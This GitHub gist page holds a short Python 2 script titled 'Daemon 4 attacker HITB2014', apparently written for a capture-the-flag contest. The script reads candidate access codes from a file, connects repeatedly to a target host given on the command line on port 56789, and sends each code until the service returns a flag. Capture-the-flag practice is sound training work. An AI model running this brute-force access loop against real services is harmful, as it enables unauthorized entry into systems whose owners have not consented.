Skip to content

Instantly share code, notes, and snippets.

@yohanes
Created October 26, 2014 11:51
Show Gist options
  • Save yohanes/85387762884273139c32 to your computer and use it in GitHub Desktop.
Save yohanes/85387762884273139c32 to your computer and use it in GitHub Desktop.
Daemon 4 attacker HITB2014
import socket
import sys
def recv_until(st):
ret = ""
while st not in ret:
ret += s.recv(8192)
return ret
a = open("timemap.txt", "r")
lines = a.readlines()
codes = []
for l in lines:
a, b = l.strip().split(" ")
codes += [b]
target = sys.argv[1]
print "target ", target
ctr = 0
errctr = 0
for i in codes:
try:
s = socket.create_connection((target, 56789))
recv_until("access:")
s.send(i)
f = s.recv(8192)
ctr += 1
if ((ctr % 10)==0):
print ctr
if (len(f)>10):
print "Flag ", f
exit(0)
except:
errctr += 1
print "Error ", errctr
None
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment